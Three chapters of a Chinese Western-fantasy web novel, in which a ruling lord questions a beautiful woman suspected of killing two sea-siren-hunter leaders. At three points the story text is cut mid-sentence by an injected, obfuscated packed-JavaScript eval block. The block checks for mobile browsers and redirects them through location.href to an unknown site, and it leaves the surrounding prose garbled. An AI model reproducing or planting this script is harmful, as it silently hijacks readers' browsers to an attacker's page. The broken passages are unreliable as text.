《海妖之歌[西幻]》 1. 命案(一) 奥维伊群岛历二一零年,赫尔西岛西部西摩港口附近,梧桐区。 就像名字一样,梧桐区种满了梧桐。 正值三月,飞絮漫天,咳嗽声时不时从梧桐区的各个角落里传来,还有喝醉酒的海妖猎人大言不惭的叫嚣。 “别拦我,我一定要把这些破树砍了。” 他坐在路边的台阶上,身后房屋透出些许亮光,脸颊和鼻头红得像画画的朱砂颜料。 同样烂醉的人群经过,听到他的声音,哈哈大笑两声,踉跄着走开。 没有人来拦他,他更加涨红了脸,颤颤巍巍站起来,起身到一半,腿一软又坐了下去。 身体向后一倒,不一会儿便传来了如雷鼾声。 一个失意海妖猎人的酒后狂言,没有人会当回事。 梧桐区的梧桐是某一任赫尔西家族家主为自己的妻子所种,这位家主夫人出身于某个风雅的贵族家庭,家徽中就有梧桐树。 赫尔西岛与赫尔西家族,先有的家族再有的岛。 漫长的岁月里,赫尔西家族大部分时候都是赫尔西岛的实际掌控者,拥有帝国皇帝亲封的领主头衔。 现任赫尔西家族家主、赫尔西岛领主以利亚·赫尔西,则将这一掌控发挥到了极致。 不过现在的梧桐区早就不是贵族用来思念家乡的花园,这里是海妖猎人的聚居地,汇聚了来自奥维伊群岛各处的海妖猎人。 血腥,残忍,强壮。 醉生梦死,花天酒地。 这个地方最多的商铺不是武器店,而是妓院和酒馆。 大多数时候二者并无区别。 深夜。 一辆简陋的马车穿街而过,停在了梧桐区最豪华的别墅前面。 车门打开,下来个身着长裙头戴帽子的女人,帽檐宽阔,轻轻松松遮住了女人的脸。 递给车夫一枚银币后,女人优雅地走进了别墅之中。 别墅是两大海妖猎人组织首领之一的凯勒的居所。 凯勒好色,情人不计其数,一个女人出入他家,似乎再正常不过。 她也不是今晚进去的第一个女人。 “凯勒大人又在开宴会了,这么多进进出出的女人,他该不会把全梧桐区的妓女都叫来了吧,我要是客人就好了。” 在街上晃荡的底层海妖猎人一脸羡慕。 抬头看一看头顶的月亮,又是一个普通的夜晚,不去猎杀海妖而一心享乐的海妖猎人们,正随着夜色渐深进入精彩的夜生活中。 梧桐区的夜晚向来比白天热闹。 乌鸦夜啼,叫声凄惨。 “啊——” 别墅二楼,女仆的尖叫声为一楼大厅中的喧闹按下了休止键,短暂的呆滞过后,狂欢的人群看到女仆从旋转楼梯连滚带爬地跑下来。 惊恐的脸在摇曳的灯光下分外恐怖。 “死人了!!!” 人们冲上二楼,推开凯勒的卧室门,眼前的场景让每一个饱经争斗的海妖猎人都惊惧万分。 两个血肉模糊的人仰面倒在血泊之中,眼球突出,睁得比铜球还大,表情扭曲地瞪着天花板,好像看到了什么恐怖的场景。 全身大大小小的伤口有刀伤,有剑伤,还有野兽一般的抓痕。 扑面而来的血腥气让冲上来的人类发出阵阵干呕,看到了这般惨状,尖叫声此起彼伏,有女人的,也有男人的。 人群四散而逃。 *** “什么,凯勒和加里死了?!” 赫尔西岛东端,赫尔西家族世代所居的赛欧庄园中。 莱森·赫尔西从床上一跃而起,震惊地看着深夜打扰他休息的下属,不等人回答,披上黑色风衣就往外走。 边走边问,“怎么回事,谁杀的?” 谁死了不好,偏偏是这两个人。 凯勒和加里,两大海妖猎人组织的首领,赫尔西岛上鼎鼎有名的大人物。 他们各自麾下掌控着数以百计的海妖猎人,同时自身也拥有强大的力量,竟然同时死在了凯勒的别墅之中。 不用多说,这个消息明天一定会成为整个奥维伊群岛最大的新闻。 下属小跑跟上,气喘吁吁地将现场情况禀明,然后补充道:“现场还有一个人,卫兵发现她的时候,她晕倒在角落里,那些个猎人吼着说她就是凶手,要杀了她,被卡伦大人阻止了。” 莱森脚步一顿,有些意外,“她现在在哪儿?” “被关在死囚牢房。” 正说着,两人已经走到了庄园门口,通身漆黑造型典雅古朴的马车横在道路中央,挡住了莱森的脚步。 马车旁边,总是笑眯眯的赫尔西家族首席家臣,有着“狡狐”之称的卡伦·道恩难得神色凝重,见到他,抬手请他上车。 莱森没多想,登上马车,在侍从为其打开车门之前,转头吩咐,“去凯勒的住处。” “不必了,直接去监狱。” 冷冽的声音从身后传来,仿佛有暴风雪的魔力一样,春夜的风刮过脸颊,也被这声音化为了无形的冰渣。 莱森浑身一震。 侍从默默将车门打开,他僵硬地转过头去。 路灯昏暗的灯光洒进车厢内,照出车厢内的身影。 男人坐在车厢最深处,阖着双眼,仿佛一座大理石雕塑。 戴着手套的手搭在刻着蔷薇花花纹的扶手上,指腹一下又一下,轻轻敲击着扶手,沉闷的响声在空旷的车厢中回荡。 “领主大人,您怎么也——” 莱森只看了一眼便低下头去,声音因紧张而颤抖。 话说到一半,男人睁开棕色的深邃眼眸,遥望过去,冷冷地觑他一眼,将他的话堵了回去,然后越过他看向侍从。 “出发。” 马车应声而动,莱森险些一个趔趄。 他赶紧走进去坐到侧边,离以利亚·赫尔西不近不远的位置,嘴唇紧抿着,背脊挺得笔直,双手无意识地攥紧了长裤,抓出一道道褶皱。 马车一路疾驰,在岛上唯一一座监狱前停下。 莱森松了一口气,急忙起身,恨不得立刻离开这个压抑的空间。 “莱森。” 男人突然出声叫住他。 莱森低着头,不敢看他,“领主大人有什么吩咐?” 男人也站起身,精致的皮靴踏在羊毛地毯上,没有发出一点儿声音。 视野中出现了一缕银色的长发,莱森呼吸一滞,他知道,那个人走到了自己面前,很近的位置,大概一伸手就能扼住他的喉咙。 男人问:“凯勒和加里死了,你认为接下来该怎么处置这些海妖猎人?” 紧绷的弦松下来,原来只是在考他,虽然也很反常,但总比生命之危好,说错了也不会有问题吧,应该……吧? 莱森试探着说:“从他们的下属中重新选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818794|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个首领?” 群龙无首的组织要是乱起来,可不是件小事,先稳定局势才是重中之重。 这是他的想法,应该会得到大部分人的赞同,不过男人似乎并不这么想。 男人很久没回应,通常这种情况,说明他对听到的内容并不满意,莱森心漏跳一拍,喉咙不禁发紧。 男人从他身边走过,带起一阵冰冷的微风,“再好好想想。” 说完就出了马车。 不然还能怎么办? “领主大人,您怎么亲自来了?” 莱森茫然地看着男人的背影消失在自己的视野中,听到典狱长谄媚的声音,连忙也下了马车。 监狱建在四面空旷的平野之上,低矮的建筑群隐匿在一片长满荆棘的灌木丛中,只有一条马路与外界连通。 通常来说,这里的夜晚静谧无声,今晚却稍显不同。 四处灯火通明,狱卒在其中来来回回走动,到处都散发着不寻常的气息。 一行人在监狱长的带领下,来到一座守卫森严的红砖房子前。 这便是监狱中的死囚牢房,近些年在以利亚的铁腕之下空闲已久,今夜迎来了久违的客人。 厚重的大门缓缓打开,挥之不去的霉味争先恐后涌出,常年见不到阳光的死囚牢房充斥着腐朽的气息。 莱森正想干呕,压抑的哭声和粗重的喘息声就从牢房最深处传进了他的耳朵里。 他愣了愣,那个地方——是他们的目的地。 也许是听到了动静,那哭声忽然转换为呼救声,“救命……有没有人……” 莱森面色一变,不等前方的人下令,立刻往声音传来的方向而去, 他来到最深处的牢房前,只见牢门大打开,两个黑影倒在光亮照不进的角落中,上面的人半跪在另一人身上,死死压住身下的人的挣扎。 “住手!”莱森厉声喝道,冲进去一把掀翻半跪着那人。 “妈的,谁坏老子好事……啊啊啊啊啊啊!” 咒骂声响到一半,突然转变为粗粝嘶哑的怒吼,像是野兽临死前的叫吼,听得人心头一颤。 伊森低头,看着溅到自己身上的鲜血,惊讶得瞪大了眼睛。 原来就在他拉开那人的一瞬间,另一个单薄的身影突然扑了过来,将一柄短剑狠狠扎进那人胸口。 吼叫声越来越低,那人躺在地上,彻底没了声音。 死了,还是晕过去了? 伊森骇然而立,双脚像被灌了铅,他看见那个单薄的身影艰难地站了起来,黑暗中她的脸不甚清晰,唯有一双深蓝色的眼眸如同穿透黑夜的明星,闪烁着动人的光芒。 这时,莱森想到了一个神秘的种族。 海妖。 海神的造物,亦是眷属。 愣神间,从门口的方向打来了一束光。 是其他人提着灯走了过来。 灯光驱散了牢房中的阴影,众人看到了一张苍白却美丽的面容。 目光再往下,是丰腴的胸脯与纤细的腰肢,她身上的衣服被撕破了,像一块破布挂在身上,露出大片雪白的肌肤。 灯光一照,仿佛还发着光。 下一刻,她就因此体力不支,倒了下去。 伊森下意识去接,但慢了一步。 银发的领主仿佛已经预见了这一幕,从容地踏进了阴暗潮湿的牢房,在单薄的身影倒地之前接住了她。 2. 命案(二) 女人缓缓睁开眼睛,感激地看着银发领主。 看着那双深蓝色的眼眸,一股莫名的熟悉感涌上心头,银发领主慢慢皱起了眉。 他确定自己没有见过她。 这么一张美丽的脸庞,如果见过,怎么会没有印象? 掌心与她柔软的皮肤相触,鼻尖嗅到一缕叫不出名字的花香。 他们靠得太近了,甚至能感觉到对方的温度。 他面色微沉,将女人扶正,然后退后几步和她拉开距离。 虽然没有说话,那股生人勿近的气质,再结合周围人小心翼翼的态度,他的身份昭然若揭。 女人的红唇微微张开,好像有话要说。 又将沾血的短剑扔在地上,似乎是想以此表达自己的善意。 就在这时,趁着众人的注意力都在女人身上,另一道身影挣脱莱森的控制,捡起被女人扔在地上的短剑,向着女人纤薄的后背刺了过去。 “小心!”莱森最先反应过来,一边伸出手试图阻止那人,一边叫道。 女人背对着他们,本能的惊惶出现在她脸上,但此刻似乎做什么动作都晚了,提醒之声传来之时,冰冷的剑尖也刺破了本就破破烂烂的衣裙。 时间仿佛停滞了片刻,一股无形的力量袭来,下一秒她重重撞到了墙壁上。 眼前的女人忽然换了个位置,愤怒的男人一招扑空,来不及细想,还要再刺,周遭的空气却变得不再流动。 他动弹不得,双手失去了力气,短剑从掌心滑落,无形的力量从四面八方袭来,他倒在了地上,就像有个隐形的人将他重重推倒。 呼吸也变成了一件极其困难的事情,他的脸涨得通红,几乎要窒息之时,空气终于再次流通起来。 他大口呼吸起来,喉咙发出破旧风箱一样的响声,冰冷的视线落到身上,像针刺一样。 理智终于回笼,他惊觉自己的愚蠢,竟然以为能在以利亚·赫尔西面前杀死重要嫌犯,顿时垂下头去,失去了所有反抗的力气。 整个过程中,以利亚没有任何动作,可是那两人的变化所有人都看在眼里,或恐惧或敬佩的目光不敢看向他,只能盯着地面。 “带下去审问。” *** 审问的结果很快出炉,不需要太费功夫,那个男人一坐上刑椅,立刻就把知道的全都说了。 他是一个职业杀手。 今晚女人被关到死囚牢房之后,有人找到了他,出了一大笔钱派他来杀这个女人,于是他稍作伪装,混进了监狱之中,想尽办法单独靠近了女人。 本来应该果断了解了女人的性命,却因为看女人长得漂亮,一时起了色心,又因为女人的挣扎耽搁了时间,这才被他们撞上。 “他说雇佣他的那人蒙着面,声音也伪装过,他也不知道是谁。” 明亮整洁的办公室里,监狱长向年轻的领主汇报审问的结果。 另一边,走廊里,莱森领着换了身囚服的女人缓缓向办公室走来。 推门进去前,他看见女人低着头紧张不安的模样,觉得有必要说点儿什么,于是清了清嗓子,压低声音道:“别担心,将真相说出来,我们会帮你的。” 这句话在他的心头酝酿了很久,从见到女人的第一面就想说,自认为相当诚恳。 果然,女人闻言终于抬起了头,露出一张艳丽的脸庞。 眼眶红红的,显然哭过,但深蓝色的眼眸中没有泪水,眸色明亮,泛着希冀的光。 她有些激动:“您相信我不是凶手?” 莱森愣了一下,他好像不是这个意思。 不过—— 他忍不住多看了一眼,面前的人穿着宽大的灰色囚衣就像套着个麻袋,但再难看的衣服也遮不住她的美貌,细长的天鹅颈被衬得愈发白皙优美,偶尔从袖口露出来的手腕也格外纤细。 他也想过,会不会是凯勒和加里欲对她用强,她奋起反抗才杀死他们。 但怎么看,她都不像是有力量杀死两个海妖猎人的样子。 女人察觉到了他的视线,苍白的脸颊微红,局促地将手腕往袖子里锁缩了缩。 莱森瞬间脸热,连忙转过身去,视线看向紧闭的大门,声音结巴起来,“对……对不起,我没有别的意思。” “我知道,莱森大人不是那种人。” 她的声音很轻,似一阵微风轻飘飘地拂过耳际,将莱森脸上的热意吹拂到了耳垂上。 很快,他的耳垂就红得仿佛能滴血。 他赶紧推开门走进去。 办公室里只有三个人,赫尔西岛的领主以利亚,赫尔西家族首席文官卡伦,还有监狱长。 被誉为有史以来最强大的渡水者的赫尔西岛现任领主,等闲不会踏出赛欧庄园,也只有像海妖猎人首领被杀这等大事,才能惊动他了。 一见到那张冷若冰霜的脸,莱森就不自觉地绷紧了身体。 即使生活在同一个庄园中,平时他与领主见面的机会也很少,也和外人一样,见到他就紧张得不行。 直到那双不带任何温度的棕色眼眸掠过他的脸庞,他才像被惊醒一般,意识到自己正挡在门口,赶忙后退两步让开道来。 女人的情况也比男人还不到哪儿去,众人的视线汇聚到她身上,令她害怕地埋着头,眼睛盯着鞋尖,手指捏着囚衣的下摆,不安地绞动着。 卡伦左右看了一眼。 尊敬的领主大人站在书桌后,冷眼打量着刚进来的两人,没有开口的意思。 莱森的耳朵还红着。 这里的隔音不太好,他们在屋内将外面的对话听得一清二楚。 领主大人高高在上不屑问,莱森心乱了不适合问,最后还是得靠他。 他来到女人身前,在她惊恐的目光中和善地笑了,“你还记得我吗?” 女人眼中浮现出回忆的神色,轻轻点头。 不久之前,她在海妖猎人首领凯勒的卧房中醒来,凯勒和另一个海妖猎人首领加里的尸体倒在不远处。 愤怒的海妖猎人们用尽一切粗鄙的语言咒骂她,还要杀了她为凯勒和加里报仇,是这个笑眯眯的文官制止了他们,将她带到了安全的地方。 虽然这个地方是监狱,但对现在的她来说倒是比外面安全多了。 她有点儿想苦笑,可是冰冷的视线一直落在她的身上,让她连维持镇静都成了问题,自然也笑不出来。 “别怕,我们只是想问你几个简单的问题,可以吗?” 女人轻抿嘴唇,纤薄的背脊紧绷着。 眼下的形势,恐怕由不得她说不可以。 她只能又点了点头。 “你叫什么名字,是哪里的人?” “我叫米娅,是玛丽亚联盟普目岛人。” 两百年前的灾难过后,奥维伊大陆由完整的陆地碎成了成千上万座岛屿,岛屿之间又逐渐形成三大帝国和两大联盟。 赫尔西岛所属的布里斯帝国位于群岛之东,北面与玛丽亚联盟相邻,而赫尔西岛又位于布里斯帝国的西北角,可以说是整个帝国中距离玛丽亚联盟最近的岛。 “普目岛?”卡伦陷入沉思。 不是他孤陋寡闻,如今大大小小的岛屿实在太多,相互之间通信又不算方便,只听名字,他很难一时想起普目岛是否真实存在,若存在又在玛丽亚联盟何处。 “继续。”说话的竟然是冷漠的领主,“玛丽亚联盟东面的小岛,没什么特别的。” 领主大人都发话了,卡伦也不再纠结,又问:“你是什么时候来的赫尔西岛,为什么而来?” “我……”似乎触及了什么伤心事,米娅的神情更低落了,“我是半个月前乘坐玫瑰号邮轮来的赫尔西岛,为了——为了寻找我的丈夫。” “你已经结婚了?” 惊讶的话语回荡在办公室里,众人目光向说话的人集中,冰冷的,惊讶的,还有看戏的。 发觉自己刚刚情不自禁脱口而出了什么之后,莱森的脸一下子变得通红,他赶忙解释:“我只是觉得,你看起来很年轻,不像是——” 说到一半,连自己也说服不了,干脆紧紧闭上嘴,脸颊因为太过用力而微微鼓起。 虽然各个岛屿的风俗不尽相同,但普遍而言,大家的结婚年龄多是二十左右,眼前这个名为米娅的美人,看起来也正是二十出头的年纪,实在没什么好惊讶的。 真是越描越黑,笑眯眯的文官心想,正打算调侃莱森两句,余光瞥到领主大人的手指正轻敲着桌面,神色一凛。 这是不耐烦的意思,尊贵的领主从不会在外面轻易展现他的喜怒,但身为离他最近的下属,从微小的动作揣测他的态度早已是轻车熟路。 卡伦眼珠转了转,直入主题,“是你杀了凯勒和加里吗?” 他始终温和地笑着,仿佛这只是个今天天气怎么样之类的简单问题。 “不是我!”也许是因为他终于问到了关键之处,米娅激动地否认道。 说罢,眼中又蓄起了泪水,“我晕倒之前,他们明明还好好的,我醒过来,他们就都死了,他们都说是我杀了他们,我怎么能杀得了他们呢……真的不是我……” 说着说着,泪珠从眼角溢出,娇躯也因激动和害怕而微微颤抖。 她显然是害怕极了。 卡伦沉默了一瞬,他是经历过当时的情形的,那么多个凶神恶煞的海妖猎人叫嚣着要她的命,别说一个柔弱的女人,就是他也要不禁冒一滴冷汗。 “你先冷静一下,如果不是你,我们一定会找到真凶还你清白。” 他决定怜香惜玉一把。 “真的吗?”米娅抬起头,美艳的面容染上泪痕,再被夜晚的灯光一照,愈发美得惊心动魄,惹人怜惜,“您真的愿意帮我吗?” 卡伦笑了笑,向领主的方向瞥了一眼,无声地提醒她,这里真正能决定她命运的,是那一位。 美丽的脸庞呆了一瞬,米娅慢吞吞地看出来,也不知道是不情不愿还是害怕,挤出一个讨好的笑,刚一看见办公桌后那张冷漠的脸,又垮了下去,低着头呐呐不语。 得嘞,领主大人又成功吓到了一位姑娘。 卡伦在心中叹气,所以他一直孤身一人,就这脾气,哪个女人敢靠近他嘛。 “米娅……夫人,你说你不是凶手,那就将今晚你知道的所有事情都说出来,记住,千万不要有任何隐瞒。” 其实他们到来之前,监狱长已经从目击者口中得到了许多讯息。 凯勒和加里死亡的地方,是凯勒的卧房,寻常人根本进不去,就连女仆也只会在固定的时候进去打扫。 据在场的海妖猎人描述,今晚早些时候,聚会刚开始的那段时间,凯勒还在一楼的宴会厅与其他海妖猎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她这样扎眼的美貌,莫说在赫尔西岛,就是在整个布里斯帝国也难得一见,从前的生活恐怕也没少受人骚扰,绝不会天真到相信凯勒只是单纯好心相帮。 仿佛听到了他的心声,米娅神情愈发低落,“我没有别的办法,来了岛上半个月,我一点儿消息都没打听到。” 于是就只能病急乱投医了么? 卡伦摸了摸下巴,似乎也能说得通,于是他追问道:“你说是凯勒叫人告诉你的,那个人是谁?” “好像叫什么亚当——亚当、埃——” “亚当埃尔博。” “对,就是这个名字。”女人激动地说,不仅抬起头看向声音的来源,一瞧见竟然是领主大人,又将头埋了下去。 卡伦想了想,对以利亚禀报道:“亚当埃尔博今晚不在宴会上,他受凯勒的指派,去了隔壁岛,傍晚坐船走的。” “什么时候回来?” “明日或者后日。” 以利亚点了点头,卡伦会意,继续询问米娅,“你到了凯勒的家,之后发生了什么事?” 米娅轻声道:“我到的时候,宴会似乎已经开始了好一阵,一楼的人都喝得烂醉,还有人众目睽睽之下……我实在害怕,就遮住了脸,偷偷问女仆凯勒大人在哪儿,女仆告诉我,凯勒大人在二楼的卧房中。我上了二楼,推开门,凯勒大人正在一个人喝酒,我问他知不知道我丈夫在哪儿,但是他却要我陪他喝酒,说只要让他喝高兴了,他就告诉我。” 米娅顿了一下,再开口时,明显带了哭腔,“我不肯,转身想走,他不让,抓住了我的胳膊将我拉了回去,又把门锁上,非要逼着我喝那酒。我没有办法,只好喝了一口,央求他放过我,可是他根本不听,抱着我便要强迫我。” 说到此处,她已是泣不成声。 卡伦沉下脸来,米娅所讲,的确是凯勒做得出来的事,只是他到达现场见到她时,见她身上衣裙整齐,不像是被人欺辱了的样子,之后恐怕还有变故,便默不作声,等她平复心情。 好一会儿,米娅低低的啜泣声才渐渐止歇。 她继续说:“我还以为,这一次我是怎么也躲不过去了,没想到,就在这时,外面突然响起了敲门声,声音很大,还有人叫凯勒的名字,凯勒本来没打算理会,听到那个声音,骂了几句,竟然真的放开了我,把门打开了。我想趁机跑出去,但是他就站在门口,一把将我又推了进去,我撞到了墙上,可能是酒劲上来了,慢慢感觉头很晕,站都站不稳,然后就不省人事了。等我醒过来,他们已经死了。” 说到当时的情形,米娅脸上明显有惧意。 “你认识进来的那个人吗?” 米娅轻轻地摇了摇头,“从没见过。” 卡伦转头向身后的士兵吩咐了几句,士兵很快拿来几张画像,摆到米娅面前。 “是他。”米娅指着其中一幅画像说,然后又看向了另一幅,“还有这个人,就是他让我去找凯勒的。” 前一张是加里的画像,后一张是亚当的画像,她倒是没有认错。 卡伦点了点头,“这个人进来之后,他和凯勒说了什么,你有听到吗?” 米娅皱着眉想了想,“我记得他的表情很生气,他们先是说了几句话,越说声音越大。我当时脑袋晕乎乎的,就听到他们说什么‘海妖’‘拨款’之类的乱七八糟的话,也听不太懂,别的就真的不知道了。” 听起来,她已经将自己知道的事情都说了出来,卡伦也觉得没什么好问的了,便看向领主以利亚。 也许是因为终于将真相讲了出来,米娅神情稍有些放松,大着胆子也看了过去,深蓝色的眸子漾着无辜的光,“领主大人,我说的都是实话,请您一定要相信我。” 以利亚的反应相当冷酷。 “叫医生来。” 3. 命案(三) 以利亚让找的医生,当然不会是普通的医生来干什么,而是拥有治疗能力的渡水者。 这种人不仅能医治许多普通医生治不了的伤病,还有一项特殊的能力。 鉴定一个人是不是渡水者。 米娅的话有几分真几分假?反正全靠她一张嘴,她说出花儿来也行,还得继续调查,要么验证她的话,要么……锁定她的罪证。 等待医生到来的这段时间,莱森主动请缨前去找医生来,卡伦中途被监狱长叫了出来谈事情,屋内忽然只剩了以利亚和米娅两个人。 美人在前,尊贵的领主却懒得多看一眼,从监狱长的桌上拿起了一本公文册,随便打发时间翻了翻。 米娅僵硬地站在原地,等了很久,不见领主大人有什么动静,便偷偷看向了他——这个传闻中有史以来最强大的渡水者。 男人穿着一件高领连衣襟白衬衣,领口绣着金线,黑色长裤笔直修长,外面套一件深蓝色修身长外套,流苏和宝石点缀在肩上,外套下缘精美的刺绣若隐若现。 手上一双白色手套,手套上绣着火焰的纹路, 非常标准的贵族打扮,符合他们一贯的追求。 那个词叫什么来着,想起来了,低调的奢华。 不过一看到那张脸,任何华丽的衣饰也会黯然失色。 米娅有些愣神,似乎只有在这种时刻,男人与生俱来的冰冷气场才会减弱,让人得以注意到,他有一张过于年轻过于好看的脸。 赫尔西家族的美貌在整个奥维伊群岛都闻名遐迩,一如他们的强大力量一般。 远的不说,就说刚刚出去的莱森,他就有一张非常英俊的面庞,而眼前的男人,竟还要胜过莱森几分。 男人有一头银色的长发,光辉清幽,仿佛是月光亲自为其着色,一束柔顺地垂在胸前,勾勒在腰间,余下的披在身后,用水晶做成的发扣扣在背后。 额前的碎发下是一张仿若天神一般毫无瑕疵的俊美面庞。 棕色眼眸深邃冷冽,嘴角毫无弧度,她仍然记得,当男人幽深的视线落到自己身上时,那股从灵魂深处升起的寒意。 不得不说,他的发色和他的气质实在是太契合了,仿佛天生就该如此。 米娅腹诽着,却不知她的举动早已被察觉,银发领主眼皮一抬,冰寒似箭的目光落到她的脸上,暗含警告。 她连忙低下头,眼前忽然被阴影笼罩,竟是银发领主来到了她的面前。 好快,几乎只是一眨眼的时间。 让她不禁想起了牢房中的那个瞬间。 他是如何做到的? 她下意识后退,手往腰间一摸,又赶紧放下。 不等站定,便得到了男人的一声轻嗤,“怎么,装不下去了?” 她垂着头,眼珠转了转,轻声道:“领主大人这是什么意思,我没有听懂。” 以利亚深深看了她一眼,抓起她纤弱的手腕,将她扯到自己身前。 米娅吃痛惊呼,再无法装成鸵鸟埋着头,被迫仰着头和他四目相对。 他们的动作有些暧昧,米娅起初还以为他也要像凯勒或是那个杀手那般,但一瞧见那张如同山巅上的月亮一般清冷的脸和毫无欲望痕迹的眼睛,便否定了这个猜想。 她更应该担心自己脆弱的手腕会不会一不小心被他折断了。 以利亚懒得与她卖关子,“我已经查探过,你不是渡水者,既然如此,你是怎么杀死凯勒和加里?” “我没有……嘶……”委屈的反驳戛然而止,男人手上的力气遽然加重,一点儿也不怜香惜玉的力度让她吃痛。 寒气从以利亚的身上源源不断地蔓延,透过冰凉的手套爬上她的脸颊,米娅脸上本就不多的血色彻底褪去,过分苍白的脸色将那双如大海一般的蓝眸更加衬托出来。 以利亚盯着她的眼睛。 海妖的眼睛也是蓝色的,不过是晴天的蔚蓝色。 看着咫尺之外那张美艳的脸因疼痛而皱起了眉,恐惧的眼眸渐渐染上怒火,他甩开了她的手。 这一下力气不小,米娅不禁向后踉跄几步,险些跌倒。 搞什么?! 她有些恼了。 再站直身子时,已换了一副神情,嘴角紧绷,媚眼凌厉,微红的眼尾不再楚楚可怜,反而艳丽动人。 “领主大人觉得他们不该死么?” 他是指的谁,凯勒,还是那个见色起意的杀手? 或许二者皆是。 “我恨不得能千刀万剐了他们。”恨意从她的眼中溢出,浓烈鲜明,仿佛就是对着冷漠的领主而去,但她却话锋一转,“可惜,您真的冤枉我了,我没有杀他们。” 米娅与他对峙着,更准确地说,是单方面的对峙,因为男人竟然对她的话没有任何反应。 她就像一拳打在了棉花上。 这种感觉太难受了,反正也没别人,她快步走上前去,直勾勾地盯着男人的脸,挑眉道:“您想为他们报仇,该赶紧去找真凶,而不是在我这里浪费时间,不然您注定会失败的。” 以利亚低头看她,她的脸蛋在灯光的照耀下红扑扑的,配上挑衅的神情,比之前那副柔弱恐惧的样子鲜活了不少。 “你错了。”再度开口时,他的语气缓和了不少。 米娅意外地看着他,忽然瞪大了美目。 她没有看错吧,他好像勾了勾唇角。 男人继续道:“我不在乎他们的死活。” 米娅不信,不在乎还大晚上地来审嫌犯,总不可能是因为好奇吧。 想到这里,她嘴角一僵,竟然觉得自己的这个猜想很有道理,然而单纯只是好奇这件事简直比他笑了还要惊悚,与传闻中的以利亚赫尔西大相径庭。 她死死盯着他,可惜的是,他又恢复了冷漠的表情,仿佛刚才微弯的嘴角只是米娅的错觉。 没多久,莱森带着医生回来了,卡伦也同他们一起进来。 医生让米娅摊开手掌,将手悬在她的手掌上面,掌心亮起白色的光芒,化作一根根白色的丝线,钻进她的掌心。 微微的热度从掌心传来,她隐隐感觉到一股不太令人舒服的力量顺着血管走过她的全身,片刻之后,医生收回手。 “这位夫人只是普通人。” 不意外,以利亚早就自行查探过了。 米娅悄悄觑了眼坐回书桌后的男人。 说起来,他的查探更迅速,也更无感,不愧是最强的渡水者。 接下来的话倒是叫她打起了精神。 “另外,她体内残留着一种药物的痕迹,根据我的初步推断,很有可能是非多姆。” “那是什么?” 米娅面露茫然,再看另外几人,一听到这个名字纷纷陷入沉思,便知其绝对不简单。 “一种毒药。”医生解释道。 听到医生的话,米娅眼前一亮。 “毒药?!”她捂住胸口,惊恐地望着医生,“我要死了吗?” 这样一双美丽的眼睛眼巴巴地望着自己,很难不让人产生怜惜的感觉,医生轻声宽慰她,“夫人放心,少量摄入不会危及性命,只有……咳、催情的功效。” 惊恐转为羞涩,米娅红了脸,小声道:“我好像没有觉得……”说到一半,她便害羞地说不下去。 医生扫了一眼她身上的囚服,“今夜发生了很多事情,足够压制住轻微的药效。” 米娅轻轻地点头,脸颊飞起的红云却未褪去,忽然想到了什么,她好奇地又问:“如果是摄入了大量的这种药呢?” “会产生幻觉幻听,更严重的情况会死。” 她“啊”了一声,转头看向书桌后的男人,“领主大人,我怎么觉得,已经真相大白了呢。” “哦?”始终面无表情的领主大人居然挑了一下眉,但只有一瞬,如果米娅不是一直盯着他,一定捕捉不到,“真相是什么?” 原来他还有别的表情,如果那不是嘲讽就更好了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818796|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她这样想着,美艳妩媚的脸上有几分认真的神色,“从现场的情况看,凯勒和加里死亡之前经历了非常激烈的战斗,如果是外来的力量,他们肯定会呼唤一楼的人帮忙,一楼的人又怎么会察觉不了。唯有一种可能性,那就是他们是相互斗殴而死,而且出于某种原因,没有呼叫下面的人,怎么样的原因才能让他们都快要死了还逞能呢。我觉得只有可能他们那时候精神已经不正常了,这个什么非多姆,不就有这样的效果。” 说完,深蓝色的眼眸扫了一圈在场的人,除了以利亚,其他人脸上都露出了并不意外的表情。 事实上,不需要她提醒,早在非多姆这个词被提出来,莱森和卡伦就想到了这种可能性。 有关非多姆这种毒药,医生的话省略了许多信息。 非多姆曾一度流行于布里斯帝国各个岛屿,彼时只是被当作普通的□□使用,在发现它的危害之后便被明令禁止再销售。 然而曾经吸食过的人早已对它上瘾,禁止得再严,也挡不住有神通广大的能搞到。 凯勒显然属于其中之列,甚至他们都清楚凯勒对非多姆的依赖,只是因为不好主动去管一个海妖猎人首领,所以只当不知道。 起初他们都没往这个方向想,是因为凯勒不会不知道其中的危害,必然对其用量格外小心,像他这种人,惜命得很,怎么会过量呢。 另外—— 莱森又回想起下属所描述的现场的情况,能同时杀了凯勒和加里两个强大的渡水者,而且让他们的死状异常凄惨的人,赫尔西岛上不是没有,但是只有一个。 现在就在离他很近的地方。 他小心翼翼地瞥了一眼银发男人的侧脸,在男人察觉之前,赶紧挪开。 当然不会是他。 海妖猎人组织和赫尔西家族一向无冤无仇,凯勒和加里对身为领主的以利亚平时那也是毕恭毕敬。 更何况,凶案发生的时候,领主大人正在与家臣卡伦道恩商量不久之后的风灵节晚宴,许多人都能作证。 这么一看,米娅的推断竟然很有道理。 凯勒和加里拥有的力量本就大差不差,他们俩人认真打起来,两败俱伤几乎是必然的。 